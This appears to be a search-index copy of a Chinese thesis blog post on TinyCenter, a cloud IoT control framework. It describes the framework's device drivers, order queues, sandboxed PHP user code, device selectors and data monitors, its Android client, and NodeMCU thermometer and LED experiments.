在TinyCenter中，“指令”一词代表一个整数变量（intpara）和一个字符串变量（strpara）的组合。通常在完成简单的指令如开、关灯时，我们可以将strpara置空，仅仅保留intpara项，但是在复杂场景中，可以将intpara置为指令的类型，再在strpara中进一步阐释。在TinyCenter中，我们一般只需要指定具体的指令值以及目标设备集合，“数据配送”机制会自动寻找数据的传输路径，并正确地将指令数据输送到目标。\n设备的类 有时，我们会希望同时管理多个类似的设备。它们或者有着一致或部分一致的指令结构，或者有一致或部分一致的基本数据表项。在TinyCenter中，我们用“类”来标识那些在某些方面特性一致的设备。\n每个设备可以拥有多个类，每个类也可以标记多个设备，这些设备可以作为设备选择器的限制条件，在数据监视器和用户代码执行的时候被共同选择（详见4.5.3节）。\n设备驱动的含义 在TinyCenter中，“设备驱动”（Client Driver）代表着一种对应关系。由于指令的内容一般比较抽象，如我们定义“开灯”代表intpara值为1，“关灯”代表intpara值为0，直接使用具体的指令值并不方便，因此我们可以使用一个“函数名”来代表指令。例如使用“open”代表intpara为1，“close”代表intpara为0。\n设备驱动被存储在数据库的digi_drv表中，包含一个唯一的ID、函数名、整型变量intpara、字符串变量string_para、驱动所属的设备标识belong_to_id、所属的类标识belong_to_class以及版本信息version。\n一个设备驱动函数对应着一条指令值。对于某个设备驱动函数而言，其必须对应一个intpara值，但指令中的string_para项可以预设或留空，也可以由用户指定。因此，设备驱动函数可以携带一个字符串参数，也可以不带参数。如果需要用户指定strpara参数，可以在设置驱动时将其string_para字段指定为“WAITING_FOR_SETTING”，在驱动执行时会自动将用户指定的strpara填充到生成的指令中。\n设备驱动的查找方式 设备驱动可以按设备标识（clientid）查找，也可以按类查找，因此，可以为多个设备指定某些相同的驱动项，例如在拥有多个相同的Led灯时，设备驱动中的“open”函数可以对应“Led”类，使得多个Led设备共享一个驱动项。\n在查找一个驱动项时，为了查找结果的合理性和准确性，首先应该按设备标识查找，若找不到合适的结果，则继续按照类查找。在找到多个可能匹配的驱动项时，belong_to_id对应的项为最优先，其次为belong_to_class，最后选择最新的项，即version字段最大的项输出。\n快捷操作——自定义命令按钮 在4.1.2节中，我们看到一个Client在服务器上的基本数据包括Buttons列，该列可以存储自定义快捷按钮。\n图 41 Buttons项\n如图我们可以看到，该Client拥有两个快捷按钮，分别为“Open”和“Close”，对应的驱动函数为“open”和“close”，驱动系统会将其翻译成具体的指令内容并发送出去。快捷按钮的具体演示可以在5.2.1节找到。\n除了name、func项，用户也可以定义string_para项对应驱动函数的stringpara参数。若没有该参数，则可以省略该项。\n基本数据表 基本数据表用于设备各类信息的存放，服务器端的多种基本功能会围绕基本数据表展开。\n基本数据表的含义 在服务器端，每个Client设备都会拥有一个基本数据表，用于数据的记录或其他操作，基本数据表在Client离线时会继续保持数据。基本数据表的形式为K-V对，使用JSON格式存储，可以被Client设备更新、添加和删除，也可以被用户代码读取。\n图 42基本数据表\n如上图，第一个设备拥有“ok”和“okx”项，下面的设备拥有“CTemperature”项，对应各自的数据。\n更新、修改和删除 在Client端更新基本数据表：\n图 43更新基本数据表\n首先，使用ArduinoJson将需要更新的数据转换成Json格式，再新建一个DigiData类，将isorder字段置为2，代表这是对基本数据表的操作指令，intpara置为0，表示更新或添加数据。如上图所示，CTemperature字段被设置为当前的温度。服务器在收到并分解该指令后，会首先检查设备中原有的基本数据表，如果其中不包含CTemperature字段，则会先创建该字段，然后将对应的值填入其中。\n服务器端的op.php在接收到指令后，发现isorder字段为2，则会执行setDataTable函数，该函数分别分解服务器中已有的基本数据表和新上传的数据，将新上传的数据与原有的数据表合并后，再使用json_encode函数将新的基本数据表保存在服务器的数据库中。\n若将intpara字段置为1，则代表删除对应的基本数据表的项，原理相似，这里不再赘述。\n基本指令队列 什么是基本指令队列 “基本指令队列”（Basic OrderQueue，BOQ）是存在于服务器上的一个队列，用于存放已经发出的所有指令信息。队列中的每个项都包含以下数据：一个唯一的指令标识orderid（必须为正数，不断累加）、指令的具体内容（包含intpara和strpara）、目标设备标识clientid、目标所在的中心控制器标识ccid、指令发送者userid、状态status和创建时间。其中的ccid可以由clientid在digitalmandemo表中的项推断出来。\n列名 类型 意义 Orderid Int 指令唯一标识 Orderstring Text 指令中的Strpara Userid Int 发出指令的用户id Ccid Int 目标Client所在的CCID Clientid Int 目标Client Ordernum Int 指令中的intpara Status Int 指令状态 Createdate Datetime 创建时间 表 42 dmorderqueue表\n当目标设备不止一个时，Userlib将会循环地在指令队列中添加数据，换言之，对指令队列中的某一个项而言，其clientid字段只能对应一个目标设备，如果想对多个设备发送相同的指令，就必须循环地再创建一个新的指令队列项。\n在指令最初被添加到指令队列中时，其状态（status）字段会被置为0，表示该指令目前是“未读”状态，在中心控制器从服务器端请求指令时，服务器会从未读指令中抽取一条反馈给中心控制器，并将该指令的状态字段置为1，代表“已读”。\n用户不能够直接操作基本指令队列，而必须通过“设备驱动”来添加指令。\n循环过程 在中心控制器每次请求指令时，服务器会从指令队列中抽取一个未读指令，将其交给中心控制器后，再将其设为已读状态。在抽取指令的过程中，服务器会核对该条指令的CCID项是否与请求指令的中心控制器的标识一致，若不一致，则跳过该条指令。\n用户代码运行环境 用户代码运行环境是TinyCenter的特色和精华之一。用户可以通过自己编写代码操控所有的设备。它以PHP为语法，在兼顾简单易学的同时，保证了安全性，并给予了用户更大的自由度。\n使用SaferEval TinyCenter允许用户执行自定义PHP代码，但执行用户PHP代码对服务器的风险极大，因此TinyCenter中内置一个SaferEval组件，用于限制用户PHP代码的危险行为。\n图 44 SaferEval\nSaferEval组件是基于GPL协议的开源组件，存在于服务器代码的safer_eval目录下，包含配置文件config.safereval.php和主体class.safereval.php。而example.php文件负责调用功能。\nSaferEval首先检查用户代码中大括号的完整性；为了检查其语法错误而不运行用户代码，将整个代码装入if(0)中，再在PHP环境下运行。接着使用正则表达式屏蔽掉意料之外的可执行代码，不允许用户自定义Lambda表达式。最后匹配用户指定的安全函数和变量，如果发现范围之外的函数和表达式，则立刻终止代码的运行并报告错误。\n使用Userlib 在SaferEval中运行的用户代码可以调用Userlib库对设备进行一系列操作。在使用Userlib时，必须先指定当前的clientid。Userlib目前支持多个函数，如下表：\n函数名 参数（=默认值） 对应动作 返回值 get_client_id $clientid=0 查询设备标识 若参数为0，则返回当前clientid，否则直接返回参数值。 get_userid 无 查询用户ID 用户ID get_ccid $clientid=0 查询当前中心控制器标识 当前CCID get_data_table_item $item_name $clientid=0 查询基本数据表的项 若clientid为0，则查找当前设备，否则查找指定clientid对基本数据表 get_status $clientid=0 查询设备的状态值 若clientid为0，则返回当前设备的状态，否则返回对应设备的状态 get_string_status $clientid=0 查询设备的状态字符串 类似以上 send_msg $type $title $content 向用户发送消息 无 send_bare_msg $content 等同于send_msg(0,”blank”,$content) 无 run $func $string_para=\u0026quot;\u0026quot; 对当前设备执行驱动，func为驱动项的名称，string_para为对应的strpara，可以留空 无 run_by $target $func $string_para=\u0026quot;\u0026quot; 对选择的设备执行驱动 无 serial_run $func $string_para=\u0026quot;\u0026quot; $success_code=\u0026quot;\u0026quot; $failed_code=\u0026quot;\u0026quot; $finally_code=\u0026quot;\u0026quot; 对当前设备执行串行指令 无（之后详细阐述） serial_run_by $target $func $string_para=\u0026quot;\u0026quot; $success_code=\u0026quot;\u0026quot; $failed_code=\u0026quot;\u0026quot; $finally_code=\u0026quot;\u0026quot; 对选中的设备执行串行指令 无（之后详细阐述） 表 43 Userlib函数\n使用Userlib Userlib若是被数据监视器调起，则会自动设置当前Clientid为变更基本数据表的那个设备；若是由用户手动调用，则需要在调用时指定一个Client设备作为默认设备，在Android端可以方便地进行这一设定。\n例如，在指定当前clientid为某Led灯时，我们可以编写如下的用户PHP指令，并在Android端执行：\n图 45 Userlib示例\n在执行上面这段用户代码后，Led灯的状态会发生变化。\nUserlib被定义在服务器上的userlib.php中，其中还有一些以下划线开头的辅助函数，这些函数不可被用户调用，即，它们被SaferEval禁止。\n具体的发送指令的操作方法，可以参考5.3节。\n设备选择器 什么是设备选择器 Userlib中以“_by”结尾的函数，如run_by和serial_run_by，其第一个参数target为设备选择器项。通过设备选择器，我们可以同时对多个设备做某个相同的操作。\n设备选择器位于client_string_parser.php中，在Userlib的内部实现中调用设备选择器需要生成一个ClientStringParser对象，其构造函数的参数为当前ccid，对应”(this)”限制，然后调用parseString函数将选择器字符串转换为对应的sql语句。使用“(this)”限制可以实现设备的分区管理（可以同时参考4.6.2节）。\n限制类型和简单实例 设备选择器支持三种类型的限制，分别为中心控制器限制、clientid限制和class限制，如下表：\n限制类型 限制符 多个限制之间的关系 示例 中心控制器限制 (ccid) (global) (this) 或。 例： “(1)(2)”代表1号或2号中心控制器。 “(1)”——将选择范围限制在1号中心控制器 “(global)”——不限制ccid，即使用所有的中心控制器 “(this)”——使用当前ccid，即为当前clientid对应的ccid Clientid限制 #clientid / “#1”——选中clientid为1的设备 Class限制 .classname 与。 例： “.Led.Demo”代表同时满足Led类和Demo类。 “.Led”——选中设备类为Led的所有设备 表 44设备选择器支持的限制\n若将上述设备选择器组合起来，可以组合条件以继续缩小选择范围，如“(1)(2).Led”表示1号和2号中心控制器下的所有Led设备，“(this).Led.Demo”表示当前中心控制器下所有同时属于Led和Demo类的设备。\n值得一提的是，如果用户未指定中心控制器限制，则会在设备选择时自动加上“(this)”限制，例如“.Led”实际上代表“(this).Led”，但若用户已经添加了中心控制器限制，如“(1).Led”则不会自动添加“(this)”限制。另外，当“(global)”限制与其他中心控制器限制共同使用时，其他的中心控制器限制将会失效，例如，“(global)(1)(2)”与”(global)”在本质上完全一致。\n数据监视器及其抽象形式 数据监视器是TinyCenter的另一大特色功能，通过数据监视器，用户可以方便地监视设备的基本数据表，实现设备之间的协同工作。\n基本运行过程 为了实现设备之间的协同工作，TinyCenter支持一个简单的数据监视器。\n数据监视器会监视所有设备的基本数据表和运行状态，在基本数据表或运行状态发生改变时，监视器被调起，在满足某个条件时触发一段用户代码的执行。\n图 46数据监视器\n数据监视器被存储在数据库中的dmmonitor表中，包含一个唯一的id、监视器状态mon_status、被监视的变量mon_var、成立条件mon_condition、被监视的设备标识mon_id、被监视的类mon_class、被监视的标签mon_label（暂未使用）、一段用户代码mon_run和监视模式mon_mode。\n数据监视器包含多个监视器项，每个监视器项可以监视一个或多个设备的某个变量。监视器项的状态分为三种，即“离线”、“在线”和“挂起”，分别对应mon_status为0、1、2，监视器项的运行情况包括“选中”和“激活”，当监视器项所监视的一个或多个变量发生改变时，监视器项即被“选中”，但变化后的数据不一定满足监视器的激活条件，“激活”意味着监视器项中的用户代码开始运行。\n在监视器在线或挂起时（即mon_status!=0），数据监视器将会监视基本数据表的所有数据变化情况，在设备使用指令修改基本数据表后，服务器会使用envokeMonitor函数调起监视器，以确认哪些监视器项应该被选中，再验证条件激活它们或完成其他动作。\n在使用串行指令的时候，数据监视器也发挥了重要的作用，将在4.7节进行介绍。\n数据监视器的抽象形式 数据监视器的抽象形式是指，在选择数据监视器项的时候，不仅可以依据设备标识clientid，还可以依据设备的类，使得同一个类的多个设备共用一个监视器项。例如，有多个房间内（每个房间内的设备由不同的中心控制器管辖）同时都有一台温度计（Thermometer类）和一台空调（AirConditioner类），在Thermometer类的设备更新自己的基本数据表时，数据监视器发现温度超标后，会调用用户代码run_by(“.AirConditioner”,”open”);，这里的设备选择器中没有提供中心控制器限制，因此会被自动加上“(this)“限制，也就是说，这里选择的是与温度超标的那台温度计同属一个中心控制器下的所有空调，而不会把所有房间的空调都打开。\n图 47抽象形式\n首先监视器会核对当前修改基本数据表的设备标识是否与mon_id一致，或者其属于mon_class规定的类；其次再检查当前被更新的数据表项是否含有被监视的变量mon_var，若所有条件均满足，且mon_status不为0，则该监视器被“选中”，但此时该监视器项依然没有被“激活”，即mon_run中的代码还未开始运行，需要依据mon_mode规定的运行模式进行判断。\n选中和激活 一个监视器项只能监视基本数据表中的一个项（mon_var），为其设定一个激活条件（mon_condition）。数据监视器是如何选中和激活监视器项的呢？事实上，利用SQL语句就可以轻松地办到。\n图 48选中和激活\n上图为envokeMonitor函数的部分内容。Sql中的语句可以筛选出选中的监视器项，而conditionx变量则代表了监视器项的激活条件是否被满足。\n数据监视器项的具体设置方法可以见6.3节。\n三种运行模式 Mon_mode字段规定的监视器项的模式有三种：一次（0:once），重复（1:repeatedly），反向重复（2:reversal_repeat）。\n图 49“一次”模式\n图 410“重复”模式\n若mon_mode=0，则当前模式为“一次”，即在监视器被选中后（此时基本数据表已经被修改完成），立即会将修改后的数据表项提取出来，找到被监视的变量项，并将其与mon_condition合并判断真假值，若为真，则监视器被激活，即运行mon_run中的用户代码。在mon_run中的代码运行后，服务器将负责关闭该监视器项，即，将该监视器项的mon_status值修改为0；\n若mon_mode=1，则当前模式为“重复”，在重复上述操作并激活监视器后，mon_run中的用户代码运行完成后，该监视器项将会继续保持在线状态；\n若mon_mode=2，则当前模式为“反向重复”。为什么要设定反向重复模式呢？\n反向重复模式的一个例子 设想这样一个场景，在某个房间中，有一个温度计和一台空调，温度计实时上传最新的温度数据到基本数据表。此时用户希望设置一个数据监视器项，使得温度计对应的基本数据表中的温度数据（假设为CTemperature项）超过某个数值（假定为25摄氏度）时，立刻开启空调。此时，显然使用“一次”模式需要手动再次开启监视器项，不够便捷，那么如果使用“重复”模式，会出现什么问题呢？\n当Ctemperature\u0026gt;=25时，监视器被激活，空调被开启，但空调的制冷效果具有延后性，换言之，即使当前空调被开启，房间内温度也不会立刻降低，反而可能继续升高一小段时间，而在这段时间内，温度计每上传一次最新的温度数据，监视器项就会被激活一次，导致mon_run中的用户代码被反复地执行，空调被反复地打开，这可能会使空调有些“困惑”，带来一些意想不到的问题。\n图 411“反向选择”模式\n如图，“反向重复”（Reversal Repeat）模式解决了这一问题。首先，用户需要将监视器项的mon_mode字段置为2，在监视器选中并激活（即运行用户代码）该监视器项后，该项的mon_status会被置为2，代表当前监视器项的状态为“挂起”。之后，即使该监视器项的激活条件被满足，该项也不会被再次激活。这样，既避免了“一次”模式的手工再次开启，又避免了mon_run中的代码被反复执行多次造成的不便。\n数据监视器也可以监视设备的status项和string_status项，在设备更新自己的状态信息时，服务器会调用envokeStatusMonitor函数，检查新的状态信息是否与监视器中的一致，这里不再赘述。\n串行指令队列 串行指令队列（Serial OrderQueue，SOQ）对应Userlib中的serial_run系列函数。使用串行指令，用户可以获取一条驱动指令的完成情况，并对其作出相应的动作。\n图 412串行指令队列\n服务器对执行是否出错的判断依据为返回信息中的error字段（见3.3.2.1节），若为0，则表明未出错，反之亦然。\n串行指令队列与基本指令队列共享一个队列，但不同的是，SOQ项的id值（传输时的isorder项）均为负数，而BOQ则为正数。指令队列在抽取一条指令时，TinyCenter不保证SOQ与BOQ项之间的先后顺序。\n使用serial_run函数 我们以Userlib中的serial_run函数为例，该函数包括五个参数，分别为func、string_para、success_code、failed_code和finally_code。\n其中func和string_para对应着一个驱动项，驱动系统会将其翻译成设备指令并发送。由于TinyCenter规定，设备在执行完成一条指令后必须立刻返回设备的当前状态，该状态信息包括一个error字段，若该字段为0，则代表指令被正确执行，否则即为出错。\n在执行serial_run函数时，服务器首先向SOQ中添加一条指令，再向数据监视器中添加一个临时项，其中mon_id为指令在SOQ中的id（负数），mon_mode被置为0，代表“一次”；参数中的success_code、failed_code、finally_code也会被数据监视器分开保存。\n紧接着指令将会由“数据配送”机制发送到对应的设备中，该设备执行完成并携带SOQid和返回状态到服务器后，对应的数据监视器项被选中。数据监视器首先查看error项，若error项为0，则会调用SaferEval和Userlib执行success_code，否则执行failed_code；最后，无论此条指令执行成功还是失败，服务器都会执行一次finally_code。\n使用串行指令队列——以serial_run函数为例 我们以一段用户代码为例：\n图 413示例\n该段用户代码表示，对当前设备执行open操作，string_para留空，若执行成功或失败，则向通知中心添加一个通知信息，最后向通知中心放入finally信息并执行close操作。\n值得注意的是，无论是success_code、failed_code还是finally_code，其中的每一条语句都应该以分号结尾，其中的引号应该加上转义字符，并且参数中的string_para不能省略。\n权限控制 简述 TinyCenter是一个多用户的控制框架，支持一个简单的权限控制系统，权限控制系统或许还可以进行进一步的完善和扩展。\n首先，所有用户都需要在数据库的dmusers表中登记，包含userid、用户名username、密码password、用户密钥userKey和密钥生成时间userKeyGenDate。为防止用户密码泄漏，设备与服务器沟通时携带的是userKey而不是password。userKey可以被方便地修改。\n设备的“所有者”（Owner） 为了防止外来设备意外接入系统，每个设备在与服务器通信时都必须指定其所属的用户id及其userKey，该用户即成为该设备的“所有者”（Owner），若验证失败，则拒绝设备的加入。\n设备的所有者可以修改设备的访问列表isDisplay，若当前登录的用户不在设备的isDisplay列表中，则用户不会看到该设备，也不能访问之。\n信息反馈——日志和用户通知系统 日志系统 在TinyCenter中，日志系统被用来记录系统内部发生的错误和错误发生的时间，通常可以用于服务器及用户代码的错误提示。\n使用日志系统时，需要在php代码中添加innerlogin.php，其中包含ret和add_log函数。Add_log函数会向日志系统中添加一个记录，包含一个错误代号和具体的错误内容，而ret函数则会在添加完成后直接终止PHP代码的运行。Ret函数还会过滤掉errid为-2的错误信息，因为它是中心控制器询问指令队列时，指令队列为空时发出的错误代号，该错误的发生十分频繁和平常，因此不需要被记录。\n在执行用户代码时，用户不能直接调用add_log和ret函数，因此用户不能直接使用日志系统。但日志系统会记录用户代码的出错信息，例如，当用户代码中包含文件操作等其他危险函数，SaferEval拒绝执行时，该错误会被日志系统记录。\n用户通知系统 日志系统不能被用户代码直接调用，但是通知系统却可以。使用Userlib中的send_msg和send_bare_msg函数，可以直接向通知中心添加内容。\n通知信息被存储在数据库中的dmmsg表中，包含msgid、消息类型type、消息标题title、内容content、按钮信息buttons、来源userid和clientid以及创建时间。\n通知信息可以由用户代码直接发送，可以在对应的客户端上添加推送功能，使得用户可以与设备进行实时沟通。（见5.2.5节）\n与Android客户端的信息交互 服务器端与Android客户端的信息交换主要依靠user_set.php和user_get.php文件，前者用于数据的获取（5.2节），后者用于指令的发送（主要为5.3节）。\n信息的获取需要用到userid、userkey和op参数，其中userid和userkey在登陆时已经被确定。\n图 414 user_get.php\n如图示，user_get.php使用op参数区分不同的动作，user_set.php也是如此。\n图 415 user_set.php\nAndroid客户端软件设计 用户登录页面 图 51登录页面\n用户在登录页面输入用户名和密码，点击登录后进行验证。用户名和密码被存放在dmusers表中。若用户登录成功，则会取回用户的userKey，后续操作都将使用到userKey与服务器交互。测试用户为：用户名“admin”，密码“123”。\n设备信息页面 设备信息页面包含整个TinyCenter系统的信息展示，分为以下六个板块，我们将分别展示它们。值得一提的是，所有的页面都包含“下拉刷新”功能。\n下图为信息页面的导航：\n图 52信息页面的导航\n所有设备 图 53“所有设备”页面\n在“所有设备”页面下，该用户可以看到所有被允许的设备。点击可以显示设备的详细信息，也可以查看其基本数据表或发送指令。在设备项的右侧，有“Open”和“Close”两个快捷按钮，它们由4.1.2节中的Buttons项定义。\n重新获取信息只需要下拉页面即可刷新，刷新成功后会显示“刷新完成”的提示；点击右下角的按钮可以进入用户代码页面。\n指令队列 图 54指令队列\nAndroid客户端可以查看指令队列的未读信息。点击该信息会显示具体信息，也可以删除该指令。\n监视器 图 55监视器\n在“监视器”一栏，所有的监视器都被显示出来，包括其激活条件（CODE按钮下方的字符串）和当前状态。点击CODE按钮会显示其附带的用户代码。\n日志 图 56日志\n“日志”一栏中会显示TinyCenter中的运行时错误信息。\n通知 图 57通知\n“通知”一栏中显示的是由用户代码发出的用户通知。\n关于 图 58关于\n“关于”页面会显示Android客户端的版本信息。\n用户代码页面 图 59用户代码发送页面\n在设备信息页面，点击右下角的紫色按钮即可进入到用户代码发送页面。用户可以在输入栏中直接编写用户代码，在上方选择一个默认设备，点击右下角的发送按钮即可直接执行。\n实现模型 信息页面使用了ViewModel模型来存储和更新数据，达到软件设计中的\u0026quot;高内聚,低耦合\u0026quot;的目标[12]。以“状态”页面为例，在onCreateView函数中我们首先获得ViewModel：\n图 510获得ViewModel\n同时使用observe函数观察ViewModel中的数据值，如果发生了变化，则自动刷新RecyclerView：\n图 511使用observe函数\n为了实现下拉刷新功能，这里使用了swipeRefreshLayout：\n图 512使用swipeRefreshLayout\nRefresh函数会调用ViewModel中的刷新功能：\n图 513 Refresh函数\n在ViewModel中，getData函数会从服务器下载信息，并将其加载到LiveData中，最终引发Fragment中的Observer启动，并刷新RecyclerView：\n图 514 getData函数\n在获得了Client设备的全部信息之后，我们需要向Client列表中添加快捷按钮：\n图 515快捷按钮\n其他页面的运行情况与上述页面基本类似，这里不再赘述。\n实验与测试 我们设计几个简单的实验来测试TinyCenter系统的运行情况。\n前期准备 购买一个云端虚拟主机，并配置其PHP和MySql环境；\n将server文件夹下的文件复制到虚拟主机；\n将SQL.sql刷入MySql中；\n在数据库中配置设备的类信息（digitalmandemo表，图 61类信息）；\n从理论上讲，新设备接入时不需要用户干预，但在设置类、快捷按钮、驱动等信息时，需要先让设备接入后（服务器端digitalmandemo表中插入新的设备项后）再手动设置。这里为了测试方便，提前手动设置。\n图 61类信息\n在数据库中配置快捷按钮信息（digitalmandemo表，图 62快捷按钮信息）； 图 62快捷按钮信息\n在数据库中插入驱动信息（digi_drv表，图 63 LED驱动信息）； 图 63 LED驱动信息\n在dmusers表中查看用户信息，并尝试登录Android应用（图 64用户信息）； 图 64用户信息\n配置Client设备的描述、名称等其他信息（digitalmandemo表，图 65其他信息）。 图 65其他信息\n在Android代码的site/string.xml下修改site_address域名信息。 图 66域名信息\n实时温度计 准备工作 图 67温度计函数\n图 68 loop函数\n准备两台NodeMCU。一台为Client设备（温度计），另一台为中心控制器；\n将digiMQTTDHT11.ino（Client设备）和init.ino（中心控制器）设置好WiFi信息；\n写入图 67温度计函数中的代码到digiMQTTDHT11.ino；（已经写好）\n在loop函数中调用setDataTableTest函数，如图 68；（已经写好）\n分别将代码刷入两台NodeMCU；\n将DHT11接入Client设备，DAT接NodeMCU的D4接口；\n分别接通电源。\n观察信息 图 69详细信息\n图 610基本数据表\n温度计每隔20秒会上传一次最新的温度信息（图 68 loop函数），在Android客户端中（5.2.1节）可以看到设备的详细信息，当前status值为1，代表设备已经上线，点击“基本数据表”可以看到当前环境的温度值（图 610基本数据表）。\n同时，可以在中心控制器的串口中看到数据传输的情况（图 611数据传输情况），可以看到clientid字段为2，表示此设备的设备标识为2；isorder字段为2，代表修改基本数据表；intpara为0，代表更新数据；str中保存着需要更新的项及其对应的值（JSON格式）。\n图 611数据传输情况\n数据监视器和快捷按钮 准备工作 图 612 LED灯\n在6.2节的基础上，再准备一个NodeMCU，作为LED灯的演示，其中的LED为NodeMCU内置；\n在digiMQTTTest中修改其justRunOrder函数（图 612 LED灯），使之能够解析服务器端发来的指令，并设置其WiFi信息；（已经写好）\n将digiMQTTTest刷入NodeMCU中；\n写入数据监视器项（dmmonitor表，图 613数据监视器项）；\n图 613数据监视器项\n接通电源。 操作与信息观察 在Thermometer类的CTemperature项数据大于等于25时，mon_run中的代码被触发执行。\n点击5.2.1节中的Open按钮打开Led灯（图 614灯亮）。之后等待20秒，温度计上传最新温度数据后，数据监视器被触发，灯被关闭（图 615灯灭）。串口信息（Monitor start）见图 616串口信息。\n图 614灯亮\n图 615灯灭\n图 616串口信息\n将数据监视器项的mon_mode项改为2（反向重复），重复上述实验：首先使用快捷按钮将LED灯打开，LED灯关闭后数据监视器被挂起，若温度下降到低于25摄氏度，则该监视器项重新上线，在此不再赘述（见4.6.5节）。\n总结和展望 本文阐述了一个物联网设备的控制和协同工作框架TinyCenter，其包含辅助控制器、中心控制器、Client设备、服务器端和Android端五部分，各个部分相互联动，实现了设备与设备之间的配合与信息交流。该框架还可以进一步改进，例如，可以增加Client设备与中心控制器连接的方式（使用蓝牙等），可以继续丰富权限控制功能，或者进一步优化提升其数据传输效率，甚至可以使用日志功能实时记录传感器的数值信息导入数据分析框架等。\n在物联网的世界中，物与物直接的联系更加紧密，人类的生产和生活效率大幅度提升。物联网是一个很大的市场，未来有着无限的潜力。\n参考文献 高璇. 物联网技术对社会生活的影响及应用现状[J]. 网络与信息, 2011(7):35-35.\nGates B, Myhrvold N, Rinearson P. The road ahead [M]. 1995\nPefia-Låpez I. ITU Internet report 2005: the Internet of Things [R]. Geneva: ITU.2005.\n刘延吉. 物联网技术研究综述 [J]. 价值工程，2013（22）：226-227.\n钟良骥，桂学勤，廖海斌，等 . 基于 MQTT 的物联网平台设计与分析 [J]. 郧阳师范高等专科学校学报，2014（6）：52-55\n康世龙，杜中一，雷咏梅，等 . 工业物联网研究概述 [J]. 物联网技术，2013，3（6）：83.\nABB与华为宣布战略合作，携手华为云推进中国工业数字化[J].今日制造与升级,2019(10):13.\n鲍军民.MQTT协议与阿里云的纺机设备监控系统设计[J].单片机与嵌入式系统应用,2020,20(04):32-35.\nJon Gold. IoT roundup: Keeping an eye on energy use and Volkswagen teams with AWS[J]. Network World (Online),2019.\nObject Computing Inc.; Object Computing, Inc. OCI Achieves IoT Partner Specialization in Google Cloud Partner Program[J]. Journal of Engineering,2019.\n熊梦彪,高誉,周龙丽,陈佳音,黄康辉.基于NodeMcu和MQTT协议的物联网网关设计[J].数字通信世界,2019(12):47.\n刘立.MVVM模式分析与应用[J].微型电脑应用,2012,28(12):57-60.\n","permalink":"https://widegram.com/2020/05/TinyCenter/","summary":"TinyCenter **\nTinyCenter | 基于云端的物联网设备控制和协同工作框架**\n**摘 要：**物联网正在逐渐的进入到大众的生活当中，并即将促使人类进入下一个智能时代。尽管市面上有很多物联网管理系统，但几乎都不支持用户代码、数据监控等功能。本设计提出了一个更具潜力的系统，系统对各个组件之间进行了分层、分区管理：使用中心控制器实现了信息的自动配送机制，辅助控制器提供了区分公共设备和私有设备的能力，Client端中提供了指令的标准化解析方法。而在服务器端，设备驱动将抽象的指令信息具象化，并使用类标记来同时管理那些在某方面相似的设备，自定义按钮使得用户可以快捷地完成操作；基本数据表可以存放设备的自定义数据，基本指令队列保证指令存取操作的原子性；用户代码运行环境是本系统最重要的创新和特色功能，支持用户自定义代码，该环境简单易学，不仅可以过滤危险的用户代码，内置的Userlib还为用户随时随地个性化管理设备提供了无限可能；设备选择器不仅可以依据中心控制器划分不同的管理区域，还可以根据设备的类和编号管理设备，通过不同限制的组合进行精细化管理；通过统一高效的数据监视器，实现了传感器与其他设备之间的自动化配合，以此可以实现多个设备间的协同工作，同时考虑了传感器数值变化的延迟性，设计了反向重复的算法避免了代码的重复执行；串行指令不仅可以获取指令执行成功与否，还可以在指令执行完成后自动执行用户指定的其他代码，实现了指令与指令之间的同步，有能力完成更加精细化的设备管理操作；权限控制系统规定了不同用户控制设备的范围，也可以阻止不明设备接入系统；日志系统可以记录系统中出现的错误，用户通知中心可以实时提醒用户设备的当前状态。配合Android客户端的使用，解决了许多实实在在的问题。\n**关键词：**物联网 控制 协同工作 框架\nTinyCenter—IoT Control and Collaboration Framework Based on Cloud Service\nAbstract: The Internet of things is gradually entering into the life of the public, and it will promote human to enter the next intelligent era. Although there are many Internet of things management systems on the market, their functions are not perfect. This graduation project puts forward a more potential system, which manages the components in layers and zones: the Center Controller is used to realize the automatic distribution mechanism of information, the Accessiorial Controller provides the ability to distinguish public equipment from private equipment, and the Client provides the standardized analysis method of instructions.","title":"TinyCenter"}]